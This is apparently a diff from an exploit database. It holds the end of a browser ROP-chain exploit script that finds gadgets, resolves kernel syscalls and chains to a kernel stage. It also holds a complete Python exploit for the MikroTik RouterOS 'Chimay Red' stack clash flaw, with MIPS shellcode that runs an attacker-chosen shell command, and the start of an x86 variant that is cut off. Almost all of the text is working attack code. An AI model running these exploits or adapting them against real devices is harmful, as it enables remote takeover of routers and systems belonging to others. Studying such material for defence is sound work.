var found = 1;
|
||||
if (!gadgetnames[nl]) continue;
|
||||
var gadgetbytes = gadgetmap_wk[gadgetnames[nl]];
|
||||
for (var compareidx = 0; compareidx < gadgetbytes.length; compareidx++)
|
||||
{
|
||||
if (gadgetbytes[compareidx] != wkview[i - compareidx]){
|
||||
found = 0;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (!found) continue;
|
||||
gadgets[gadgetnames[nl]] = o2wk(i - gadgetbytes.length + 1);
|
||||
gadgetoffs[gadgetnames[nl]] = i - gadgetbytes.length + 1;
|
||||
delete gadgetnames[nl];
|
||||
gadgets_to_find--;
|
||||
}
|
||||
} else if (wkview[i] == 0xe0 && wkview[i-1] == 0xff && slowpath_jop)
|
||||
{
|
||||
var found = 1;
|
||||
for (var compareidx = 0; compareidx < slowpath_jop.length; compareidx++)
|
||||
{
|
||||
if (slowpath_jop[compareidx] != wkview[i - compareidx])
|
||||
{
|
||||
found = 0;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (!found) continue;
|
||||
gadgets["jop"] = o2wk(i - slowpath_jop.length + 1);
|
||||
gadgetoffs["jop"] = i - slowpath_jop.length + 1;
|
||||
gadgets_to_find--;
|
||||
slowpath_jop = 0;
|
||||
}
|
||||
|
||||
if (!gadgets_to_find) break;
|
||||
}
|
||||
}
|
||||
if (!gadgets_to_find && !slowpath_jop) {
|
||||
log("found gadgets");
|
||||
if (gadgetconn)
|
||||
gadgetconn.onopen = function(e){
|
||||
gadgetconn.send(JSON.stringify(gadgetoffs));
|
||||
}
|
||||
setTimeout(donecb, 50);
|
||||
} else {
|
||||
log("missing gadgets: ");
|
||||
for (var nl in gadgetnames) {
|
||||
log(" - " + gadgetnames[nl]);
|
||||
}
|
||||
if(slowpath_jop) log(" - jop gadget");
|
||||
}
|
||||
}
|
||||
findgadget(function(){});
|
||||
var hold1;
|
||||
var hold2;
|
||||
var holdz;
|
||||
var holdz1;
|
||||
|
||||
while (1)
|
||||
{
|
||||
hold1 = {a:0, b:0, c:0, d:0};
|
||||
hold2 = {a:0, b:0, c:0, d:0};
|
||||
holdz1 = p.leakval(hold2);
|
||||
holdz = p.leakval(hold1);
|
||||
if (holdz.low - 0x30 == holdz1.low) break;
|
||||
}
|
||||
|
||||
var pushframe = [];
|
||||
pushframe.length = 0x80;
|
||||
var funcbuf;
|
||||
|
||||
|
||||
var launch_chain = function(chain)
|
||||
{
|
||||
|
||||
var stackPointer = 0;
|
||||
var stackCookie = 0;
|
||||
var orig_reenter_rip = 0;
|
||||
|
||||
var reenter_help = {length: {valueOf: function(){
|
||||
orig_reenter_rip = p.read8(stackPointer);
|
||||
stackCookie = p.read8(stackPointer.add32(8));
|
||||
var returnToFrame = stackPointer;
|
||||
|
||||
var ocnt = chain.count;
|
||||
chain.push_write8(stackPointer, orig_reenter_rip);
|
||||
chain.push_write8(stackPointer.add32(8), stackCookie);
|
||||
|
||||
if (chain.runtime) returnToFrame=chain.runtime(stackPointer);
|
||||
|
||||
chain.push(gadgets["pop rsp"]); // pop rsp
|
||||
chain.push(returnToFrame); // -> back to the trap life
|
||||
chain.count = ocnt;
|
||||
|
||||
p.write8(stackPointer, (gadgets["pop rsp"])); // pop rsp
|
||||
p.write8(stackPointer.add32(8), chain.ropframeptr); // -> rop frame
|
||||
}}};
|
||||
|
||||
var funcbuf32 = new Uint32Array(0x100);
|
||||
nogc.push(funcbuf32);
|
||||
funcbuf = p.read8(p.leakval(funcbuf32).add32(0x10));
|
||||
|
||||
p.write8(funcbuf.add32(0x30), gadgets["setjmp"]);
|
||||
p.write8(funcbuf.add32(0x80), gadgets["jop"]);
|
||||
p.write8(funcbuf,funcbuf);
|
||||
p.write8(parseFloatStore, gadgets["jop"]);
|
||||
var orig_hold = p.read8(holdz1);
|
||||
var orig_hold48 = p.read8(holdz1.add32(0x48));
|
||||
|
||||
p.write8(holdz1, funcbuf.add32(0x50));
|
||||
p.write8(holdz1.add32(0x48), funcbuf);
|
||||
parseFloat(hold2,hold2,hold2,hold2,hold2,hold2);
|
||||
p.write8(holdz1, orig_hold);
|
||||
p.write8(holdz1.add32(0x48), orig_hold48);
|
||||
|
||||
stackPointer = p.read8(funcbuf.add32(0x10));
|
||||
rtv=Array.prototype.splice.apply(reenter_help);
|
||||
return p.leakval(rtv);
|
||||
}
|
||||
|
||||
|
||||
gadgets = gadgets;
|
||||
p.loadchain = launch_chain;
|
||||
window.RopChain = function () {
|
||||
this.ropframe = new Uint32Array(0x10000);
|
||||
this.ropframeptr = p.read8(p.leakval(this.ropframe).add32(0x10));
|
||||
this.count = 0;
|
||||
this.clear = function() {
|
||||
this.count = 0;
|
||||
this.runtime = undefined;
|
||||
for (var i = 0; i < 0x1000/8; i++)
|
||||
{
|
||||
p.write8(this.ropframeptr.add32(i*8), 0);
|
||||
}
|
||||
};
|
||||
this.pushSymbolic = function() {
|
||||
this.count++;
|
||||
return this.count-1;
|
||||
}
|
||||
this.finalizeSymbolic = function(idx, val) {
|
||||
p.write8(this.ropframeptr.add32(idx*8), val);
|
||||
}
|
||||
this.push = function(val) {
|
||||
this.finalizeSymbolic(this.pushSymbolic(), val);
|
||||
}
|
||||
this.push_write8 = function(where, what)
|
||||
{
|
||||
this.push(gadgets["pop rdi"]); // pop rdi
|
||||
this.push(where); // where
|
||||
this.push(gadgets["pop rsi"]); // pop rsi
|
||||
this.push(what); // what
|
||||
this.push(gadgets["mov [rdi], rsi"]); // perform write
|
||||
}
|
||||
this.fcall = function (rip, rdi, rsi, rdx, rcx, r8, r9)
|
||||
{
|
||||
this.push(gadgets["pop rdi"]); // pop rdi
|
||||
this.push(rdi); // what
|
||||
this.push(gadgets["pop rsi"]); // pop rsi
|
||||
this.push(rsi); // what
|
||||
this.push(gadgets["pop rdx"]); // pop rdx
|
||||
this.push(rdx); // what
|
||||
this.push(gadgets["pop rcx"]); // pop r10
|
||||
this.push(rcx); // what
|
||||
this.push(gadgets["pop r8"]); // pop r8
|
||||
this.push(r8); // what
|
||||
this.push(gadgets["pop r9"]); // pop r9
|
||||
this.push(r9); // what
|
||||
this.push(rip); // jmp
|
||||
return this;
|
||||
}
|
||||
|
||||
this.run = function() {
|
||||
var retv = p.loadchain(this, this.notimes);
|
||||
this.clear();
|
||||
return retv;
|
||||
}
|
||||
|
||||
return this;
|
||||
};
|
||||
|
||||
var RopChain = window.RopChain();
|
||||
window.syscallnames = {"exit": 1,"fork": 2,"read": 3,"write": 4,"open": 5,"close": 6,"wait4": 7,"unlink": 10,"chdir": 12,"chmod": 15,"getpid": 20,"setuid": 23,"getuid": 24,"geteuid": 25,"recvmsg": 27,"sendmsg": 28,"recvfrom": 29,"accept": 30,"getpeername": 31,"getsockname": 32,"access": 33,"chflags": 34,"fchflags": 35,"sync": 36,"kill": 37,"getppid": 39,"dup": 41,"pipe": 42,"getegid": 43,"profil": 44,"getgid": 47,"getlogin": 49,"setlogin": 50,"sigaltstack": 53,"ioctl": 54,"reboot": 55,"revoke": 56,"execve": 59,"execve": 59,"msync": 65,"munmap": 73,"mprotect": 74,"madvise": 75,"mincore": 78,"getgroups": 79,"setgroups": 80,"setitimer": 83,"getitimer": 86,"getdtablesize": 89,"dup2": 90,"fcntl": 92,"select": 93,"fsync": 95,"setpriority": 96,"socket": 97,"connect": 98,"accept": 99,"getpriority": 100,"send": 101,"recv": 102,"bind": 104,"setsockopt": 105,"listen": 106,"recvmsg": 113,"sendmsg": 114,"gettimeofday": 116,"getrusage": 117,"getsockopt": 118,"readv": 120,"writev": 121,"settimeofday": 122,"fchmod": 124,"recvfrom": 125,"setreuid": 126,"setregid": 127,"rename": 128,"flock": 131,"sendto": 133,"shutdown": 134,"socketpair": 135,"mkdir": 136,"rmdir": 137,"utimes": 138,"adjtime": 140,"getpeername": 141,"setsid": 147,"sysarch": 165,"setegid": 182,"seteuid": 183,"stat": 188,"fstat": 189,"lstat": 190,"pathconf": 191,"fpathconf": 192,"getrlimit": 194,"setrlimit": 195,"getdirentries": 196,"__sysctl": 202,"mlock": 203,"munlock": 204,"futimes": 206,"poll": 209,"clock_gettime": 232,"clock_settime": 233,"clock_getres": 234,"ktimer_create": 235,"ktimer_delete": 236,"ktimer_settime": 237,"ktimer_gettime": 238,"ktimer_getoverrun": 239,"nanosleep": 240,"rfork": 251,"issetugid": 253,"getdents": 272,"preadv": 289,"pwritev": 290,"getsid": 310,"aio_suspend": 315,"mlockall": 324,"munlockall": 325,"sched_setparam": 327,"sched_getparam": 328,"sched_setscheduler": 329,"sched_getscheduler": 330,"sched_yield": 331,"sched_get_priority_max": 332,"sched_get_priority_min": 333,"sched_rr_get_interval": 334,"sigprocmask": 340,"sigprocmask": 340,"sigsuspend": 341,"sigpending": 343,"sigtimedwait": 345,"sigwaitinfo": 346,"kqueue": 362,"kevent": 363,"uuidgen": 392,"sendfile": 393,"fstatfs": 397,"ksem_close": 400,"ksem_post": 401,"ksem_wait": 402,"ksem_trywait": 403,"ksem_init": 404,"ksem_open": 405,"ksem_unlink": 406,"ksem_getvalue": 407,"ksem_destroy": 408,"sigaction": 416,"sigreturn": 417,"getcontext": 421,"setcontext": 422,"swapcontext": 423,"sigwait": 429,"thr_create": 430,"thr_exit": 431,"thr_self": 432,"thr_kill": 433,"ksem_timedwait": 441,"thr_suspend": 442,"thr_wake": 443,"kldunloadf": 444,"_umtx_op": 454,"_umtx_op": 454,"thr_new": 455,"sigqueue": 456,"thr_set_name": 464,"rtprio_thread": 466,"pread": 475,"pwrite": 476,"mmap": 477,"lseek": 478,"truncate": 479,"ftruncate": 480,"thr_kill2": 481,"shm_open": 482,"shm_unlink": 483,"cpuset_getid": 486,"cpuset_getaffinity": 487,"cpuset_setaffinity": 488,"openat": 499,"pselect": 522,"wait6": 532,"cap_rights_limit": 533,"cap_ioctls_limit": 534,"cap_ioctls_get": 535,"cap_fcntls_limit": 536,"bindat": 538,"connectat": 539,"chflagsat": 540,"accept4": 541,"pipe2": 542,"aio_mlock": 543,"procctl": 544,"ppoll": 545,"futimens": 546,"utimensat": 547,"numa_getaffinity": 548,"numa_setaffinity": 549}
|
||||
|
||||
function swapkeyval(json){
|
||||
var ret = {};
|
||||
for(var key in json){
|
||||
if (json.hasOwnProperty(key)) {
|
||||
ret[json[key]] = key;
|
||||
}
|
||||
}
|
||||
return ret;
|
||||
}
|
||||
|
||||
window.nameforsyscall = swapkeyval(window.syscallnames);
|
||||
|
||||
window.syscalls = {};
|
||||
|
||||
log("--- welcome to stage3 ---");
|
||||
|
||||
var kview = new Uint8Array(0x1000);
|
||||
var kstr = p.leakval(kview).add32(0x10);
|
||||
var orig_kview_buf = p.read8(kstr);
|
||||
|
||||
p.write8(kstr, window.libKernelBase);
|
||||
p.write4(kstr.add32(8), 0x40000); // high enough lel
|
||||
|
||||
var countbytes;
|
||||
for (var i=0; i < 0x40000; i++)
|
||||
{
|
||||
if (kview[i] == 0x72 && kview[i+1] == 0x64 && kview[i+2] == 0x6c && kview[i+3] == 0x6f && kview[i+4] == 0x63)
|
||||
{
|
||||
countbytes = i;
|
||||
break;
|
||||
}
|
||||
}
|
||||
p.write4(kstr.add32(8), countbytes + 32);
|
||||
|
||||
var dview32 = new Uint32Array(1);
|
||||
var dview8 = new Uint8Array(dview32.buffer);
|
||||
for (var i=0; i < countbytes; i++)
|
||||
{
|
||||
if (kview[i] == 0x48 && kview[i+1] == 0xc7 && kview[i+2] == 0xc0 && kview[i+7] == 0x49 && kview[i+8] == 0x89 && kview[i+9] == 0xca && kview[i+10] == 0x0f && kview[i+11] == 0x05)
|
||||
{
|
||||
dview8[0] = kview[i+3];
|
||||
dview8[1] = kview[i+4];
|
||||
dview8[2] = kview[i+5];
|
||||
dview8[3] = kview[i+6];
|
||||
var syscallno = dview32[0];
|
||||
window.syscalls[syscallno] = window.libKernelBase.add32(i);
|
||||
}
|
||||
}
|
||||
var chain = new window.RopChain;
|
||||
var returnvalue;
|
||||
p.fcall_ = function(rip, rdi, rsi, rdx, rcx, r8, r9) {
|
||||
chain.clear();
|
||||
|
||||
chain.notimes = this.next_notime;
|
||||
this.next_notime = 1;
|
||||
|
||||
chain.fcall(rip, rdi, rsi, rdx, rcx, r8, r9);
|
||||
|
||||
chain.push(window.gadgets["pop rdi"]); // pop rdi
|
||||
chain.push(chain.ropframeptr.add32(0x3ff8)); // where
|
||||
chain.push(window.gadgets["mov [rdi], rax"]); // rdi = rax
|
||||
|
||||
chain.push(window.gadgets["pop rax"]); // pop rax
|
||||
chain.push(p.leakval(0x41414242)); // where
|
||||
|
||||
if (chain.run().low != 0x41414242) throw new Error("unexpected rop behaviour");
|
||||
returnvalue = p.read8(chain.ropframeptr.add32(0x3ff8)); //p.read8(chain.ropframeptr.add32(0x3ff8));
|
||||
}
|
||||
p.fcall = function()
|
||||
{
|
||||
var rv=p.fcall_.apply(this,arguments);
|
||||
return returnvalue;
|
||||
}
|
||||
p.readstr = function(addr){
|
||||
var addr_ = addr.add32(0); // copy
|
||||
var rd = p.read4(addr_);
|
||||
var buf = "";
|
||||
while (rd & 0xFF)
|
||||
{
|
||||
buf += String.fromCharCode(rd & 0xFF);
|
||||
addr_.add32inplace(1);
|
||||
rd = p.read4(addr_);
|
||||
}
|
||||
return buf;
|
||||
}
|
||||
|
||||
p.syscall = function(sysc, rdi, rsi, rdx, rcx, r8, r9)
|
||||
{
|
||||
if (typeof sysc == "string") {
|
||||
sysc = window.syscallnames[sysc];
|
||||
}
|
||||
if (typeof sysc != "number") {
|
||||
throw new Error("invalid syscall");
|
||||
}
|
||||
|
||||
var off = window.syscalls[sysc];
|
||||
if (off == undefined)
|
||||
{
|
||||
throw new Error("invalid syscall");
|
||||
}
|
||||
|
||||
return p.fcall(off, rdi, rsi, rdx, rcx, r8, r9);
|
||||
}
|
||||
p.sptr = function(str) {
|
||||
var bufView = new Uint8Array(str.length+1);
|
||||
for (var i=0; i<str.length; i++) {
|
||||
bufView[i] = str.charCodeAt(i) & 0xFF;
|
||||
}
|
||||
window.nogc.push(bufView);
|
||||
return p.read8(p.leakval(bufView).add32(0x10));
|
||||
};
|
||||
|
||||
log("loaded sycalls");
|
||||
|
||||
var rtv1 = p.fcall(window.gadgets["mov rax, rdi"], 0x41414141);
|
||||
var pid = p.syscall("getpid");
|
||||
var uid = p.syscall("getuid");
|
||||
print("all good. fcall test retval = " + rtv1 + " - uid: " + uid + " - pid: " + pid);
|
||||
|
||||
sc = document.createElement("script");
|
||||
sc.src="kern.js";
|
||||
document.body.appendChild(sc);
|
||||
}
|
||||
<--- /rop.js -->
|
263
exploits/hardware/remote/44283.py
Executable file
263
exploits/hardware/remote/44283.py
Executable file
|
@ -0,0 +1,263 @@
|
|||
#!/usr/bin/env python3
|
||||
|
||||
# Mikrotik Chimay Red Stack Clash Exploit by BigNerd95
|
||||
|
||||
# Tested on RouterOS 6.38.4 (mipsbe) [using a CRS109]
|
||||
|
||||
# Used tools: pwndbg, rasm2, mipsrop for IDA
|
||||
# I used ropper only to automatically find gadgets
|
||||
|
||||
# ASLR enabled on libs only
|
||||
# DEP NOT enabled
|
||||
|
||||
import socket, time, sys, struct, re
|
||||
from ropper import RopperService
|
||||
|
||||
AST_STACKSIZE = 0x800000 # default stack size per thread (8 MB)
|
||||
ROS_STACKSIZE = 0x20000 # newer version of ROS have a different stack size per thread (128 KB)
|
||||
SKIP_SPACE = 0x1000 # 4 KB of "safe" space for the stack of thread 2
|
||||
ROP_SPACE = 0x8000 # we can send 32 KB of ROP chain!
|
||||
|
||||
ALIGN_SIZE = 0x10 # alloca align memory with "content-length + 0x10 & 0xF" so we need to take it into account
|
||||
ADDRESS_SIZE = 0x4 # we need to overwrite a return address to start the ROP chain
|
||||
|
||||
class MyRopper():
|
||||
def __init__(self, filename):
|
||||
self.rs = RopperService()
|
||||
|
||||
self.rs.clearCache()
|
||||
self.rs.addFile(filename)
|
||||
self.rs.loadGadgetsFor()
|
||||
|
||||
self.rs.options.inst_count = 10
|
||||
self.rs.loadGadgetsFor()
|
||||
self.rs.loadGadgetsFor() # sometimes Ropper doesn't update new gadgets
|
||||
|
||||
def get_gadgets(self, regex):
|
||||
gadgets = []
|
||||
for _, g in self.rs.search(search=regex):
|
||||
gadgets.append(g)
|
||||
|
||||
if len(gadgets) > 0:
|
||||
return gadgets
|
||||
else:
|
||||
raise Exception("Cannot find gadgets!")
|
||||
|
||||
def contains_string(self, string):
|
||||
s = self.rs.searchString(string)
|
||||
t = [a for a in s.values()][0]
|
||||
return len(t) > 0
|
||||
|
||||
def get_arch(self):
|
||||
return self.rs.files[0].arch._name
|
||||
|
||||
@staticmethod
|
||||
def get_ra_offset(gadget):
|
||||
"""
|
||||
Return the offset of next Retun Address on the stack
|
||||
So you know how many bytes to put before next gadget address
|
||||
Eg:
|
||||
lw $ra, 0xAB ($sp) --> return: 0xAB
|
||||
"""
|
||||
for line in gadget.lines:
|
||||
offset_len = re.findall("lw \$ra, (0x[0-9a-f]+)\(\$sp\)", line[1])
|
||||
if offset_len:
|
||||
return int(offset_len[0], 16)
|
||||
raise Exception("Cannot find $ra offset in this gadget!")
|
||||
|
||||
def makeHeader(num):
|
||||
return b"POST /jsproxy HTTP/1.1\r\nContent-Length: " + bytes(str(num), 'ascii') + b"\r\n\r\n"
|
||||
|
||||
def makeSocket(ip, port):
|
||||
s = socket.socket()
|
||||
try:
|
||||
s.connect((ip, port))
|
||||
except:
|
||||
print("Error connecting to socket")
|
||||
sys.exit(-1)
|
||||
print("Connected")
|
||||
time.sleep(0.5)
|
||||
return s
|
||||
|
||||
def socketSend(s, data):
|
||||
try:
|
||||
s.send(data)
|
||||
except:
|
||||
print("Error sending data")
|
||||
sys.exit(-1)
|
||||
print("Sent")
|
||||
time.sleep(0.5)
|
||||
|
||||
def build_shellcode(shellCmd):
|
||||
shell_code = b''
|
||||
shellCmd = bytes(shellCmd, "ascii")
|
||||
|
||||
# Here the shellcode will write the arguments for execve: ["/bin/bash", "-c", "shellCmd", NULL] and [NULL]
|
||||
# XX XX XX XX <-- here the shell code will write the address of string "/bin/bash" [shellcode_start_address -16] <--- argv_array
|
||||
# XX XX XX XX <-- here the shell code will write the address of string "-c" [shellcode_start_address -12]
|
||||
# XX XX XX XX <-- here the shell code will write the address of string "shellCmd" [shellcode_start_address -8]
|
||||
# XX XX XX XX <-- here the shell code will write 0x00000000 (used as end of argv_array and as envp_array) [shellcode_start_address -4] <--- envp_array
|
||||
|
||||
# The shell code execution starts here!
|
||||
shell_code += struct.pack('>L', 0x24500000) # addiu s0, v0, 0 # s0 = v0 Save the shellcode_start_address in s0 (in v0 we have the address of the stack where the shellcode starts [<-- pointing to this location exactly])
|
||||
shell_code += struct.pack('>L', 0x24020fa2) # addiu v0, zero, 0xfa2 # v0 = 4002 (fork) Put the syscall number of fork (4002) in v0
|
||||
shell_code += struct.pack('>L', 0x0000000c) # syscall # launch syscall Start fork()
|
||||
shell_code += struct.pack('>L', 0x10400003) # beqz v0, 0x10 # jump 12 byte forward if v0 == 0 Jump to execve part of the shellcode if PID is 0
|
||||
|
||||
# if v0 != 0 [res of fork()]
|
||||
shell_code += struct.pack('>L', 0x24020001) # addiu v0, zero, 1 # a0 = 1 Put exit parameter in a0
|
||||
shell_code += struct.pack('>L', 0x24020fa1) # addiu v0, zero, 0xfa1 # v0 = 4001 (exit) Put the syscall number of exit (4002) in v0
|
||||
shell_code += struct.pack('>L', 0x0000000c) # syscall # launch syscall Start exit(1)
|
||||
|
||||
# if v0 == 0 [res of fork()]
|
||||
shell_code += struct.pack('>L', 0x26040050) # addiu a0, s0, 0x50 # a0 = shellcode_start_address + 0x50 Calculate the address of string "/bin/bash" and put it in a0 (the first parameter of execve)
|
||||
shell_code += struct.pack('>L', 0xae04fff0) # sw a0, -16(s0) # shellcode_start_address[-16] = bin_bash_address Write in the first entry of the "argv" array the address of the string "/bin/bash"
|
||||
shell_code += struct.pack('>L', 0x26110060) # addiu s1, s0, 0x60 # s1 = shellcode_start_address + 0x60 Calculate the address of string "-c" and put it in s1
|
||||
shell_code += struct.pack('>L', 0xae11fff4) # sw s1, -12(s0) # shellcode_start_address[-12] = c_address Write in the second entry of the "argv" array the address of the string "-c"
|
||||
shell_code += struct.pack('>L', 0x26110070) # addiu s1, s0, 0x70 # s1 = shellcode_start_address + 0x70 Calculate the address of string "shellCmd" and put it in s1
|
||||
shell_code += struct.pack('>L', 0xae11fff8) # sw s1, -8(s0) # shellcode_start_address[-8] = shellCmd_address Write in the third entry of the "argv" array the address of the string "shellCmd"
|
||||
shell_code += struct.pack('>L', 0xae00fffc) # sw zero, -4(s0) # shellcode_start_address[-4] = 0x00 Write NULL address as end of argv_array and envp_array
|
||||
shell_code += struct.pack('>L', 0x2205fff0) # addi a1, s0, -16 # a1 = shellcode_start_address - 16 Put the address of argv_array in a1 (the second parameter of execve)
|
||||
shell_code += struct.pack('>L', 0x2206fffc) # addi a2, s0, -4 # a2 = shellcode_start_address - 4 Put the address of envp_array in a2 (the third parameter of execve)
|
||||
shell_code += struct.pack('>L', 0x24020fab) # addiu v0, zero, 0xfab # v0 = 4011 (execve) Put the syscall number of execve (4011) in v0 (https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/arch/mips/include/uapi/asm/unistd.h)
|
||||
shell_code += struct.pack('>L', 0x0000000c) # syscall # launch syscall Start execve("/bin/bash", ["/bin/bash", "-c", "shellCmd", NULL], [NULL])
|
||||
|
||||
shell_code += b'P' * (0x50 - len(shell_code)) # offset to simplify string address calculation
|
||||
shell_code += b'/bin/bash\x00' # (Warning: do not exceed 16 bytes!) [shellcode_start + 0x50] <--- bin_bash_address
|
||||
|
||||
shell_code += b'P' * (0x60 - len(shell_code)) # offset to simplify string address calculation
|
||||
shell_code += b'-c\x00' # (Warning: do not exceed 16 bytes!) [shellcode_start + 0x60] <--- c_address
|
||||
|
||||
shell_code += b'P' * (0x70 - len(shell_code)) # offset to simplify string address calculation
|
||||
shell_code += shellCmd + b'\x00' # [shellcode_start + 0x70] <--- shellCmd_address
|
||||
|
||||
return shell_code
|
||||
|
||||
def build_payload(binRop, shellCmd):
|
||||
print("Building shellcode + ROP chain...")
|
||||
|
||||
ropChain = b''
|
||||
shell_code = build_shellcode(shellCmd)
|
||||
|
||||
# 1) Stack finder gadget (to make stack pivot)
|
||||
stack_finder = binRop.get_gadgets("addiu ?a0, ?sp, 0x18; lw ?ra, 0x???(?sp% jr ?ra;")[0]
|
||||
"""
|
||||
0x0040ae04: (ROS 6.38.4)
|
||||
addiu $a0, $sp, 0x18 <--- needed action
|
||||
lw $ra, 0x5fc($sp) <--- jump control [0x5fc, a lot of space for the shellcode!]
|
||||
lw $s3, 0x5f8($sp)
|
||||
lw $s2, 0x5f4($sp)
|
||||
lw $s1, 0x5f0($sp)
|
||||
lw $s0, 0x5ec($sp)
|
||||
move $v0, $zero
|
||||
jr $ra
|
||||
"""
|
||||
ropChain += struct.pack('>L', stack_finder.address)
|
||||
# Action: addiu $a0, $sp, 0x600 + var_5E8 # a0 = stackpointer + 0x18
|
||||
# Control Jump: jr 0x600 + var_4($sp)
|
||||
# This gadget (moreover) allows us to reserve 1512 bytes inside the rop chain
|
||||
# to store the shellcode (beacuse of: jr 0x600 + var_4($sp))
|
||||
ropChain += b'B' * 0x18 # 0x600 - 0x5E8 = 0x18 (in the last 16 bytes of this offset the shell code will write the arguments for execve)
|
||||
ropChain += shell_code # write the shell code in this "big" offset
|
||||
|
||||
next_gadget_offset = MyRopper.get_ra_offset(stack_finder) - 0x18 - len(shell_code)
|
||||
if next_gadget_offset < 0: # check if shell command fits inside this big offset
|
||||
raise Exception("Shell command too long! Max len: " + str(next_gadget_offset + len(shellCmd)) + " bytes")
|
||||
|
||||
ropChain += b'C' * next_gadget_offset # offset because of this: 0x600 + var_4($sp)
|
||||
|
||||
|
||||
|
||||
# 2) Copy a0 in v0 because of next gadget
|
||||
mov_v0_a0 = binRop.get_gadgets("lw ?ra, %move ?v0, ?a0;% jr ?ra;")[0]
|
||||
"""
|
||||
0x00414E58: (ROS 6.38.4)
|
||||
lw $ra, 0x24($sp); <--- jump control
|
||||
lw $s2, 0x20($sp);
|
||||
lw $s1, 0x1c($sp);
|
||||
lw $s0, 0x18($sp);
|
||||
move $v0, $a0; <--- needed action
|
||||
jr $ra;
|
||||
"""
|
||||
ropChain += struct.pack('>L', mov_v0_a0.address)
|
||||
# Gadget Action: move $v0, $a0 # v0 = a0
|
||||
# Gadget Control: jr 0x28 + var_4($sp)
|
||||
ropChain += b'D' * MyRopper.get_ra_offset(mov_v0_a0) # offset because of this: 0x28 + var_4($sp)
|
||||
|
||||
|
||||
|
||||
# 3) Jump to the stack (start shell code)
|
||||
jump_v0 = binRop.get_gadgets("move ?t9, ?v0; jalr ?t9;")[0]
|
||||
"""
|
||||
0x00412540: (ROS 6.38.4)
|
||||
move $t9, $v0; <--- jump control
|
||||
jalr $t9; <--- needed action
|
||||
"""
|
||||
ropChain += struct.pack('>L', jump_v0.address)
|
||||
# Gadget Action: jalr $t9 # jump v0
|
||||
# Gadget Control: jalr $v0
|
||||
|
||||
return ropChain
|
||||
|
||||
def stackClash(ip, port, payload):
|
||||
|
||||
print("Opening 2 sockets")
|
||||
|
||||
# 1) Start 2 threads
|
||||
# open 2 socket so 2 threads are created
|
||||
s1 = makeSocket(ip, port) # socket 1, thread A
|
||||
s2 = makeSocket(ip, port) # socket 2, thread B
|
||||
|
||||
print("Stack clash...")
|
||||
|
||||
# 2) Stack Clash
|
||||
# 2.1) send post header with Content-Length bigger than AST_STACKSIZE to socket 1 (thread A)
|
||||
socketSend(s1, makeHeader(AST_STACKSIZE + SKIP_SPACE + ROP_SPACE)) # thanks to alloca, the Stack Pointer of thread A will point inside the stack frame of thread B (the post_data buffer will start from here)
|
||||
|
||||
# 2.2) send some bytes as post data to socket 1 (thread A)
|
||||
socketSend(s1, b'A'*(SKIP_SPACE - ALIGN_SIZE - ADDRESS_SIZE)) # increase the post_data buffer pointer of thread A to a position where a return address of thread B will be saved
|
||||
|
||||
# 2.3) send post header with Content-Length to reserve ROP space to socket 2 (thread B)
|
||||
socketSend(s2, makeHeader(ROP_SPACE)) # thanks to alloca, the Stack Pointer of thread B will point where post_data buffer pointer of thread A is positioned
|
||||
|
||||
print("Sending payload")
|
||||
|
||||
# 3) Send ROP chain and shell code
|
||||
socketSend(s1, payload)
|
||||
|
||||
print("Starting exploit")
|
||||
|
||||
# 4) Start ROP chain
|
||||
s2.close() # close socket 2 to return from the function of thread B and start ROP chain
|
||||
|
||||
print("Done!")
|
||||
|
||||
def crash(ip, port):
|
||||
print("Crash...")
|
||||
s = makeSocket(ip, port)
|
||||
socketSend(s, makeHeader(-1))
|
||||
socketSend(s, b'A' * 0x1000)
|
||||
s.close()
|
||||
time.sleep(2.5) # www takes up to 3 seconds to restart
|
||||
|
||||
if __name__ == "__main__":
|
||||
if len(sys.argv) == 5:
|
||||
ip = sys.argv[1]
|
||||
port = int(sys.argv[2])
|
||||
binary = sys.argv[3]
|
||||
shellCmd = sys.argv[4]
|
||||
|
||||
binRop = MyRopper(binary)
|
||||
|
||||
if binRop.get_arch() != 'MIPSBE':
|
||||
raise Exception("Wrong architecture! You have to pass a mipsbe executable")
|
||||
|
||||
if binRop.contains_string("pthread_attr_setstacksize"):
|
||||
AST_STACKSIZE = ROS_STACKSIZE
|
||||
|
||||
payload = build_payload(binRop, shellCmd)
|
||||
|
||||
crash(ip, port) # should make stack clash more reliable
|
||||
stackClash(ip, port, payload)
|
||||
else:
|
||||
print("Usage: " + sys.argv[0] + " IP PORT binary shellcommand")
|
251
exploits/hardware/remote/44284.py
Executable file
251
exploits/hardware/remote/44284.py
Executable file
|
@ -0,0 +1,251 @@
|
|||
#!/usr/bin/env python2
|
||||
|
||||
# Mikrotik Chimay Red Stack Clash Exploit by wsxarcher (based on BigNerd95 POC)
|
||||
|
||||
# tested on RouterOS 6.38.4 (x86)
|
||||
|
||||
# ASLR enabled on libs only
|
||||
# DEP enabled
|
||||
|
||||
import socket, time, sys, struct
|
||||
from pwn import *
|
||||
import ropgadget
|
||||
|
||||
AST_STACKSIZE = 0x800000 # default stack size per thread (8 MB)
|
||||
ROS_STACKSIZE = 0x20000 # newer version of ROS have a different stack size per thread (128 KB)
|
||||
SKIP_SPACE = 0x1000 # 4 KB of "safe" space for the stack of thread 2
|
||||
ROP_SPACE = 0x8000 # we can send 32 KB of ROP chain!
|
||||
|
||||
ALIGN_SIZE = 0x10 # alloca align memory with "content-length + 0x10 & 0xF" so we need to take it into account
|
||||
ADDRESS_SIZE = 0x4 # we need to overwrite a return address to start the ROP chain
|
||||
|
||||
context(arch="i386", os="linux", log_level="WARNING")
|
||||
|
||||
gadgets = dict()
|
||||
plt = dict()
|
||||
strings = dict()
|
||||
system_chunks = []
|
||||
cmd_chunks = []
|
||||
|
||||
def makeHeader(num):
|
||||
return bytes("POST /jsproxy HTTP/1.1\r\nContent-Length: ") + bytes(str(num)) + bytes("\r\n\r\n")
|
||||
|
||||
def makeSocket(ip, port):
|
||||
s = socket.socket()
|
||||
try:
|
||||
s.connect((ip, port))
|
||||
except:
|
||||
print("Error connecting to socket")
|
||||
sys.exit(-1)
|
||||
print("Connected")
|
||||
time.sleep(0.5)
|
||||
return s
|
||||
|
||||
def socketSend(s, data):
|
||||
try:
|
||||
s.send(data)
|
||||
except:
|
||||
print("Error sending data")
|
||||
sys.exit(-1)
|
||||
print("Sent")
|
||||
time.sleep(0.5)
|
||||
|
||||
def ropCall(function_address, *arguments):
|
||||
|
||||
payload = struct.pack('<L', function_address)
|
||||
|
||||
num_arg = len(arguments)
|
||||
|
||||
if num_arg > 0:
|
||||
|
||||
if num_arg == 1:
|
||||
